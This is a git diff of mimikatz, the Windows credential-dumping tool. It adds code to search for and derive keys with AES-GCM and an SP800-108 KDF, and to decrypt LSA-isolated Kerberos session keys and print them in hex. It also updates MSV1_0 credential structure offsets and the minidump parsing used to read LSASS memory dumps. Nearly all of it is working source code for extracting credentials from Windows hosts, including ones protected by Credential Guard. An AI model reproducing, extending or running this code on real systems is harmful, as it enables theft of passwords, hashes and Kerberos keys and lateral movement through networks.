+++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_sk.h
@@ -0,0 +1,26 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : https://creativecommons.org/licenses/by/4.0/
+*/
+#pragma once
+#include "globals_sekurlsa.h"
+#include "../modules/kull_m_crypto_sk.h"
+#include "kuhl_m_sekurlsa.h"
+
+typedef struct _KEYLIST_ENTRY {
+ LIST_ENTRY navigator;
+ BYTE key[32];
+ DOUBLE entropy;
+} KEYLIST_ENTRY, *PKEYLIST_ENTRY;
+
+BOOL kuhl_m_sekurlsa_sk_candidatekey_add(BYTE key[32], DOUBLE entropy);
+void kuhl_m_sekurlsa_sk_candidatekey_delete(PKEYLIST_ENTRY entry);
+void kuhl_m_sekurlsa_sk_candidatekey_descr(PKEYLIST_ENTRY entry);
+void kuhl_m_sekurlsa_sk_candidatekeys_delete();
+void kuhl_m_sekurlsa_sk_candidatekeys_descr();
+
+DWORD kuhl_m_sekurlsa_sk_search(PBYTE data, DWORD size, BOOL light);
+DWORD kuhl_m_sekurlsa_sk_search_file(LPCWSTR filename);
+
+BOOL kuhl_m_sekurlsa_sk_tryDecode(PLSAISO_DATA_BLOB blob, PBYTE *output, DWORD *cbOutput);
\ No newline at end of file
diff --git a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c
index a35ab73b..7f3f74c7 100644
--- a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c
+++ b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c
@@ -612,6 +612,7 @@ void kuhl_m_sekurlsa_kerberos_enum_tickets(IN PKIWI_BASIC_SECURITY_LOGON_SESSION
KULL_M_MEMORY_ADDRESS data = {&pStruct, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aTicket = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aLsassBuffer = {tickets, pData->cLsass->hLsassMem};
DWORD nbTickets = 0;
PKIWI_KERBEROS_TICKET pKiwiTicket;
+ KIWI_KERBEROS_BUFFER lsaIsoKey;
PBERVAL BerApp_KrbCred;
BOOL isNormalSessionKey;
wchar_t * filename;
@@ -632,6 +633,24 @@ void kuhl_m_sekurlsa_kerberos_enum_tickets(IN PKIWI_BASIC_SECURITY_LOGON_SESSION
{
isNormalSessionKey = (pData->cLsass->osContext.BuildNumber < KULL_M_WIN_BUILD_10_1507) || (pKiwiTicket->Key.Length < (ULONG) FIELD_OFFSET(LSAISO_DATA_BLOB, data));
kuhl_m_kerberos_ticket_display(pKiwiTicket, isNormalSessionKey, FALSE);
+
+ if(!isNormalSessionKey)
+ {
+ kprintf(L"\n\t LSA Session Key : 0x%08x - %s", pKiwiTicket->KeyType, kuhl_m_kerberos_ticket_etype(pKiwiTicket->KeyType));
+ if(pKiwiTicket->Key.Length <= (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("KerberosKey") - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key
+ {
+ if(kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) pKiwiTicket->Key.Value, &lsaIsoKey.Value, &lsaIsoKey.Length))
+ {
+ kprintf(L"\n\t * Session Key : 0x%08x - %s", pKiwiTicket->KeyType, kuhl_m_kerberos_ticket_etype(pKiwiTicket->KeyType));
+ kprintf(L"\n\t ");
+ kull_m_string_wprintf_hex(lsaIsoKey.Value, lsaIsoKey.Length, 0);
+ kuhl_m_kerberos_ticket_freeKiwiKerberosBuffer(&pKiwiTicket->Key);
+ pKiwiTicket->Key = lsaIsoKey;
+ }
+ }
+ else kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) pKiwiTicket->Key.Value, pKiwiTicket->Key.Length);
+ }
+
if(isFile)
if(filename = kuhl_m_sekurlsa_kerberos_generateFileName(pData->LogonId, grp, nbTickets, pKiwiTicket, MIMIKATZ_KERBEROS_EXT))
{
@@ -645,16 +664,6 @@ void kuhl_m_sekurlsa_kerberos_enum_tickets(IN PKIWI_BASIC_SECURITY_LOGON_SESSION
LocalFree(filename);
}
- if(!isNormalSessionKey)
- {
- kprintf(L"\n\t LSA Session Key : 0x%08x - %s", pKiwiTicket->KeyType, kuhl_m_kerberos_ticket_etype(pKiwiTicket->KeyType));
-
- if(pKiwiTicket->Key.Length <= (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("KerberosKey") - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key
- kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) pKiwiTicket->Key.Value);
- else
- kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) pKiwiTicket->Key.Value, pKiwiTicket->Key.Length);
- }
-
kuhl_m_kerberos_ticket_freeTicket(pKiwiTicket);
}
data.address = ((PLIST_ENTRY) (aTicket.address))->Flink;
diff --git a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c
index dd4ef959..4bdb9832 100644
--- a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c
+++ b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c
@@ -129,9 +129,9 @@ VOID kuhl_m_sekurlsa_msv_enum_cred(IN PKUHL_M_SEKURLSA_CONTEXT cLsass, IN PVOID
const MSV1_0_PRIMARY_HELPER msv1_0_primaryHelper[] = {
{FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, UserName), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, ShaOwPassword), 0, 0},
- {FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, ShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, align0)},
- {FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, ShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, align2)},
- {FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isShaOwPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isDPAPIProtected), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, ShaOwPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, DPAPIProtected), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isoSize)},
+ {FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, ShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, NtOwfPassword)},
+ {FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, ShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, NtOwfPassword)},
+ {FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isShaOwPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isDPAPIProtected), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, ShaOwPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, DPAPIProtected), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, NtOwfPassword)},
};
const MSV1_0_PRIMARY_HELPER * kuhl_m_sekurlsa_msv_helper(PKUHL_M_SEKURLSA_CONTEXT context)
diff --git a/modules/kull_m_crypto_sk.c b/modules/kull_m_crypto_sk.c
new file mode 100644
index 00000000..060d6e7b
--- /dev/null
+++ b/modules/kull_m_crypto_sk.c
@@ -0,0 +1,152 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : https://creativecommons.org/licenses/by/4.0/
+*/
+#include "kull_m_crypto_sk.h"
+
+NTSTATUS SkpOpenAesGcmProvider(BCRYPT_ALG_HANDLE *phAlgAESGCM, DWORD *pObjectLengthAesGcm)
+{
+ NTSTATUS status;
+ DWORD cbResult;
+ status = BCryptOpenAlgorithmProvider(phAlgAESGCM, BCRYPT_AES_ALGORITHM, NULL, 0);
+ if(NT_SUCCESS(status))
+ {
+ status = BCryptSetProperty(*phAlgAESGCM, BCRYPT_CHAINING_MODE, (PUCHAR) BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
+ if(NT_SUCCESS(status))
+ {
+ status = BCryptGetProperty(*phAlgAESGCM, BCRYPT_OBJECT_LENGTH, (PUCHAR) pObjectLengthAesGcm, sizeof(DWORD), &cbResult, 0);
+ if(!NT_SUCCESS(status))
+ PRINT_ERROR(L"BCryptGetProperty: 0x%08x\n", status);
+ }
+ else PRINT_ERROR(L"BCryptSetProperty: 0x%08x\n", status);
+ if(!NT_SUCCESS(status))
+ BCryptCloseAlgorithmProvider(*phAlgAESGCM, 0);
+ }
+ else PRINT_ERROR(L"BCryptOpenAlgorithmProvider: 0x%08x\n", status);
+ return status;
+}
+
+NTSTATUS SkpOpenKdfProvider(BCRYPT_ALG_HANDLE *phAlgSP800108, DWORD *pObjectLengthSP800108)
+{
+ NTSTATUS status;
+ DWORD cbResult;
+ status = BCryptOpenAlgorithmProvider(phAlgSP800108, BCRYPT_SP800108_CTR_HMAC_ALGORITHM, NULL, 0);
+ if(NT_SUCCESS(status))
+ {
+ status = BCryptGetProperty(*phAlgSP800108, BCRYPT_OBJECT_LENGTH, (PUCHAR) pObjectLengthSP800108, sizeof(DWORD), &cbResult, 0);
+ if(!NT_SUCCESS(status))
+ {
+ PRINT_ERROR(L"BCryptGetProperty: 0x%08x\n", status);
+ BCryptCloseAlgorithmProvider(*phAlgSP800108, 0);
+ }
+ }
+ else PRINT_ERROR(L"BCryptOpenAlgorithmProvider: 0x%08x\n", status);
+ return status;
+}
+
+NTSTATUS SkpImportMasterKeyInKdf(PBYTE BootKey, DWORD cbBootKey, BCRYPT_ALG_HANDLE hAlgSP800108, DWORD ObjectLengthSP800108, BCRYPT_KEY_HANDLE *phKeySP800108, UCHAR *pbKeyObject)
+{
+ return BCryptGenerateSymmetricKey(hAlgSP800108, phKeySP800108, pbKeyObject, ObjectLengthSP800108, BootKey, cbBootKey, 0);
+}
+
+NTSTATUS SkpInitSymmetricEncryption(PBYTE BootKey, DWORD cbBootKey, BCRYPT_ALG_HANDLE *phAlgAESGCM, DWORD *pObjectLengthAesGcm, BCRYPT_ALG_HANDLE *phAlgSP800108, DWORD *pObjectLengthSP800108, BCRYPT_KEY_HANDLE *phKeySP800108, PUCHAR *pbKeyObject)
+{
+ BOOLEAN bIsAlgAESGCM = FALSE, bIsAlgSP800108 = FALSE;
+ NTSTATUS status;
+
+ status = SkpOpenAesGcmProvider(phAlgAESGCM, pObjectLengthAesGcm);
+ if(NT_SUCCESS(status))
+ {
+ bIsAlgAESGCM = TRUE;
+ status = SkpOpenKdfProvider(phAlgSP800108, pObjectLengthSP800108);
+ if(NT_SUCCESS(status))
+ {
+ bIsAlgSP800108 = TRUE;
+ if(*pbKeyObject = (PUCHAR) LocalAlloc(LPTR, *pObjectLengthSP800108))
+ {
+ status = SkpImportMasterKeyInKdf(BootKey, cbBootKey, *phAlgSP800108, *pObjectLengthSP800108, phKeySP800108, *pbKeyObject);
+ if(!NT_SUCCESS(status))
+ {
+ PRINT_ERROR(L"SkpImportMasterKeyInKdf: 0x%08x\n", status);
+ LocalFree(pbKeyObject);
+ }
+ }
+ }
+ else PRINT_ERROR(L"SkpOpenKdfProvider: 0x%08x\n", status);
+ }
+ else PRINT_ERROR(L"SkpOpenAesGcmProvider: 0x%08x\n", status);
+
+ if(!NT_SUCCESS(status))
+ {
+ if(bIsAlgAESGCM)
+ BCryptCloseAlgorithmProvider(*phAlgAESGCM, 0);
+ if(bIsAlgSP800108)
+ BCryptCloseAlgorithmProvider(*phAlgSP800108, 0);
+ }
+ return status;
+}
+
+NTSTATUS SkpDeriveSymmetricKey(BCRYPT_KEY_HANDLE hKey, CHAR *cLabel, ULONG cbLabel, PBYTE pContext, ULONG cbContext, PUCHAR pbDerivedKey, ULONG cbDerivedKey)
+{
+ ULONG cbResult;
+ BCryptBuffer Buffers[] = {
+ {sizeof(BCRYPT_SHA256_ALGORITHM), KDF_HASH_ALGORITHM, BCRYPT_SHA256_ALGORITHM},
+ {cbLabel, KDF_LABEL, cLabel},
+ {cbContext, KDF_CONTEXT, pContext}
+ };
+ BCryptBufferDesc ParameterList = {BCRYPTBUFFER_VERSION, ARRAYSIZE(Buffers), Buffers};
+ return BCryptKeyDerivation(hKey, &ParameterList, pbDerivedKey, cbDerivedKey, &cbResult, 0);
+}
+
+NTSTATUS SkpEncryptionWorker(PBYTE BootKey, DWORD cbBootKey, UCHAR *pbInput, ULONG cbInput, UCHAR *pbAuthData, ULONG cbAuthData, UCHAR *pKdfContext, ULONG cbKdfContext, UCHAR *pbTag, ULONG cbTag, UCHAR *pbOutput, ULONG cbOutput, BOOL Encrypt)
+{
+ NTSTATUS status;
+ BCRYPT_ALG_HANDLE hAlgAESGCM, hAlgSP800108;
+ BCRYPT_KEY_HANDLE hKeyAESGCM, hKeySP800108;
+ ULONG ObjectLengthAesGcm, ObjectLengthSP800108, cbResult;
+ UCHAR *pbKeyObjectAES, *pbKeyObjectSP800108, DerivedKey[32], pbIV[12] = {0};
+ BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO info;
+ PBCRYPT_ENCRYPT cryptFunc = Encrypt ? BCryptEncrypt : BCryptDecrypt;
+
+ __try
+ {
+ status = SkpInitSymmetricEncryption(BootKey, cbBootKey, &hAlgAESGCM, &ObjectLengthAesGcm, &hAlgSP800108, &ObjectLengthSP800108, &hKeySP800108, &pbKeyObjectSP800108);
+ if(NT_SUCCESS(status))
+ {
+ status = SkpDeriveSymmetricKey(hKeySP800108, IUMDATAPROTECT, sizeof(IUMDATAPROTECT), pKdfContext, cbKdfContext, DerivedKey, sizeof(DerivedKey));
+ if(NT_SUCCESS(status))
+ {
+ if(pbKeyObjectAES = (PUCHAR) LocalAlloc(LPTR, ObjectLengthAesGcm))
+ {
+ status = BCryptGenerateSymmetricKey(hAlgAESGCM, &hKeyAESGCM, pbKeyObjectAES, ObjectLengthAesGcm, DerivedKey, sizeof(DerivedKey), 0);
+ if(NT_SUCCESS(status))
+ {
+ BCRYPT_INIT_AUTH_MODE_INFO(info);
+ info.pbNonce = pbIV;
+ info.cbNonce = sizeof(pbIV);
+ info.pbAuthData = pbAuthData;
+ info.cbAuthData = cbAuthData;
+ info.pbTag = pbTag;
+ info.cbTag = cbTag;
+ status = cryptFunc(hKeyAESGCM, pbInput, cbInput, &info, pbIV, sizeof(pbIV), pbOutput, cbOutput, &cbResult, 0);
+ BCryptDestroyKey(hKeyAESGCM);
+ }
+ else PRINT_ERROR(L"BCryptGenerateSymmetricKey: 0x%08x\n", status);
+ LocalFree(pbKeyObjectAES);
+ }
+ }
+ else PRINT_ERROR(L"SkpDeriveSymmetricKey: 0x%08x\n", status);
+ BCryptDestroyKey(hKeySP800108);
+ LocalFree(pbKeyObjectSP800108);
+ BCryptCloseAlgorithmProvider(hAlgSP800108, 0);
+ BCryptCloseAlgorithmProvider(hAlgAESGCM, 0);
+ }
+ else PRINT_ERROR(L"SkpInitSymmetricEncryption: 0x%08x\n", status);
+ }
+ __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND)
+ {
+ PRINT_ERROR(L"Skp Crypto without CNG?\n");
+ }
+ return status;
+}
\ No newline at end of file
diff --git a/modules/kull_m_crypto_sk.h b/modules/kull_m_crypto_sk.h
new file mode 100644
index 00000000..103d9003
--- /dev/null
+++ b/modules/kull_m_crypto_sk.h
@@ -0,0 +1,28 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : https://creativecommons.org/licenses/by/4.0/
+*/
+#pragma once
+#include "globals.h"
+#include "kull_m_string.h"
+
+#if !defined(BCRYPT_SP800108_CTR_HMAC_ALGORITHM)
+#define BCRYPT_SP800108_CTR_HMAC_ALGORITHM L"SP800_108_CTR_HMAC"
+#define KDF_LABEL 0xD
+#define KDF_CONTEXT 0xE
+#define KDF_SALT 0xF
+#define KDF_ITERATION_COUNT 0x10
+
+extern NTSTATUS WINAPI BCryptKeyDerivation(IN BCRYPT_KEY_HANDLE hKey, IN OPTIONAL BCryptBufferDesc *pParameterList, OUT PUCHAR pbDerivedKey, IN ULONG cbDerivedKey, OUT ULONG *pcbResult, IN ULONG dwFlags);
+#endif
+
+#define IUMDATAPROTECT "IUMDATAPROTECT"
+typedef NTSTATUS (WINAPI * PBCRYPT_ENCRYPT) (__inout BCRYPT_KEY_HANDLE hKey, __in_bcount_opt(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in_opt VOID *pPaddingInfo, __inout_bcount_opt(cbIV) PUCHAR pbIV, __in ULONG cbIV, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags);
+
+NTSTATUS SkpOpenAesGcmProvider(BCRYPT_ALG_HANDLE *phAlgAESGCM, DWORD *pObjectLengthAesGcm);
+NTSTATUS SkpOpenKdfProvider(BCRYPT_ALG_HANDLE *phAlgSP800108, DWORD *pObjectLengthSP800108);
+NTSTATUS SkpImportMasterKeyInKdf(PBYTE BootKey, DWORD cbBootKey, BCRYPT_ALG_HANDLE hAlgSP800108, DWORD ObjectLengthSP800108, BCRYPT_KEY_HANDLE *phKeySP800108, UCHAR *pbKeyObject);
+NTSTATUS SkpInitSymmetricEncryption(PBYTE BootKey, DWORD cbBootKey, BCRYPT_ALG_HANDLE *phAlgAESGCM, DWORD *pObjectLengthAesGcm, BCRYPT_ALG_HANDLE *phAlgSP800108, DWORD *pObjectLengthSP800108, BCRYPT_KEY_HANDLE *phKeySP800108, PUCHAR *pbKeyObject);
+NTSTATUS SkpDeriveSymmetricKey(BCRYPT_KEY_HANDLE hKey, CHAR *cLabel, ULONG cbLabel, PBYTE pContext, ULONG cbContext, PUCHAR pbDerivedKey, ULONG cbDerivedKey);
+NTSTATUS SkpEncryptionWorker(PBYTE BootKey, DWORD cbBootKey, UCHAR *pbInput, ULONG cbInput, UCHAR *pbAuthData, ULONG cbAuthData, UCHAR *pKdfContext, ULONG cbKdfContext, UCHAR *pbTag, ULONG cbTag, UCHAR *pbOutput, ULONG cbOutput, BOOL Encrypt);
\ No newline at end of file
diff --git a/modules/kull_m_file.c b/modules/kull_m_file.c
index cf92a5be..cf4baba2 100644
--- a/modules/kull_m_file.c
+++ b/modules/kull_m_file.c
@@ -96,7 +96,7 @@ BOOL kull_m_file_readData(PCWCHAR fileName, PBYTE * data, PDWORD lenght) // for
if(!(reussite = kull_m_string_quick_base64_to_Binary(fileName, data, lenght)))
PRINT_ERROR_AUTO(L"kull_m_string_quick_base64_to_Binary");
}
- else if((hFile = CreateFile(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL)) && hFile != INVALID_HANDLE_VALUE)
+ else if((hFile = CreateFile(fileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL)) && hFile != INVALID_HANDLE_VALUE)
{
if(GetFileSizeEx(hFile, &filesize) && !filesize.HighPart)
{
diff --git a/modules/kull_m_minidump.c b/modules/kull_m_minidump.c
index 49787bdc..d991c655 100644
--- a/modules/kull_m_minidump.c
+++ b/modules/kull_m_minidump.c
@@ -38,7 +38,7 @@ LPVOID kull_m_minidump_RVAtoPTR(IN PKULL_M_MINIDUMP_HANDLE hMinidump, RVA64 rva)
return (PBYTE) (hMinidump->pMapViewOfFile) + rva;
}
-LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STREAM_TYPE type)
+LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STREAM_TYPE type, OUT OPTIONAL DWORD *pSize)
{
ULONG32 i;
PMINIDUMP_DIRECTORY pStreamDirectory = (PMINIDUMP_DIRECTORY) kull_m_minidump_RVAtoPTR(hMinidump, ((PMINIDUMP_HEADER) (hMinidump->pMapViewOfFile))->StreamDirectoryRva);
@@ -46,7 +46,11 @@ LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STR
for(i = 0; i < ((PMINIDUMP_HEADER) (hMinidump->pMapViewOfFile))->NumberOfStreams; i++)
{
if(pStreamDirectory[i].StreamType == type)
+ {
+ if(pSize)
+ *pSize = pStreamDirectory[i].Location.DataSize;
return kull_m_minidump_RVAtoPTR(hMinidump, pStreamDirectory[i].Location.Rva);
+ }
}
return NULL;
}
@@ -62,7 +66,7 @@ BOOL kull_m_minidump_copy(IN PKULL_M_MINIDUMP_HANDLE hMinidump, OUT VOID *Destin
PMINIDUMP_MEMORY_DESCRIPTOR64 memory64;
ULONG64 offsetToRead, offsetToWrite, lengthToRead, lengthReaded = 0;
- if(myDir = (PMINIDUMP_MEMORY64_LIST) kull_m_minidump_stream(hMinidump, Memory64ListStream))
+ if(myDir = (PMINIDUMP_MEMORY64_LIST) kull_m_minidump_stream(hMinidump, Memory64ListStream, NULL))
{
ptr = (PBYTE) kull_m_minidump_RVAtoPTR(hMinidump, myDir->BaseRva);
for(nMemory64 = 0; nMemory64 < myDir->NumberOfMemoryRanges; nMemory64++, ptr += memory64->DataSize)
@@ -105,7 +109,7 @@ LPVOID kull_m_minidump_remapVirtualMemory64(IN PKULL_M_MINIDUMP_HANDLE hMinidump
ULONG64 nMemory64, previousPtr = 0, previousSize = 0, size = 0;
PMINIDUMP_MEMORY_DESCRIPTOR64 memory64;
- myDir = kull_m_minidump_stream(hMinidump, Memory64ListStream);
+ myDir = kull_m_minidump_stream(hMinidump, Memory64ListStream, NULL);
if(myDir)
{
ptr = (PBYTE) kull_m_minidump_RVAtoPTR(hMinidump, ((PMINIDUMP_MEMORY64_LIST) myDir)->BaseRva);
diff --git a/modules/kull_m_minidump.h b/modules/kull_m_minidump.h
index 4001f1b6..9785f9e6 100644
--- a/modules/kull_m_minidump.h
+++ b/modules/kull_m_minidump.h
@@ -17,5 +17,5 @@ BOOL kull_m_minidump_close(IN PKULL_M_MINIDUMP_HANDLE hMinidump);
BOOL kull_m_minidump_copy(IN PKULL_M_MINIDUMP_HANDLE hMinidump, OUT VOID *Destination, IN VOID *Source, IN SIZE_T Length);
LPVOID kull_m_minidump_RVAtoPTR(IN PKULL_M_MINIDUMP_HANDLE hMinidump, RVA64 rva);
-LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STREAM_TYPE type);
+LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STREAM_TYPE type, OUT OPTIONAL DWORD *pSize);
LPVOID kull_m_minidump_remapVirtualMemory64(IN PKULL_M_MINIDUMP_HANDLE hMinidump, IN VOID *Source, IN SIZE_T Length);
\ No newline at end of file
diff --git a/modules/kull_m_process.c b/modules/kull_m_process.c
index 7e6896bb..6ee8576b 100644
--- a/modules/kull_m_process.c
+++ b/modules/kull_m_process.c
@@ -200,7 +200,7 @@ NTSTATUS kull_m_process_getVeryBasicModuleInformations(PKULL_M_MEMORY_HANDLE mem
case KULL_M_MEMORY_TYPE_PROCESS_DMP:
moduleInformation.NameDontUseOutsideCallback = &moduleName;
- if(pMinidumpModuleList = (PMINIDUMP_MODULE_LIST) kull_m_minidump_stream(memory->pHandleProcessDmp->hMinidump, ModuleListStream))
+ if(pMinidumpModuleList = (PMINIDUMP_MODULE_LIST) kull_m_minidump_stream(memory->pHandleProcessDmp->hMinidump, ModuleListStream, NULL))
{
for(i = 0; (i < pMinidumpModuleList->NumberOfModules) && continueCallback; i++)
{
@@ -316,7 +316,7 @@ NTSTATUS kull_m_process_getMemoryInformations(PKULL_M_MEMORY_HANDLE memory, PKUL
status = STATUS_SUCCESS;
break;
case KULL_M_MEMORY_TYPE_PROCESS_DMP:
- if(maListeInfo = (PMINIDUMP_MEMORY_INFO_LIST) kull_m_minidump_stream(memory->pHandleProcessDmp->hMinidump, MemoryInfoListStream))
+ if(maListeInfo = (PMINIDUMP_MEMORY_INFO_LIST) kull_m_minidump_stream(memory->pHandleProcessDmp->hMinidump, MemoryInfoListStream, NULL))
{
for(i = 0; (i < maListeInfo->NumberOfEntries) && continueCallback; i++)
{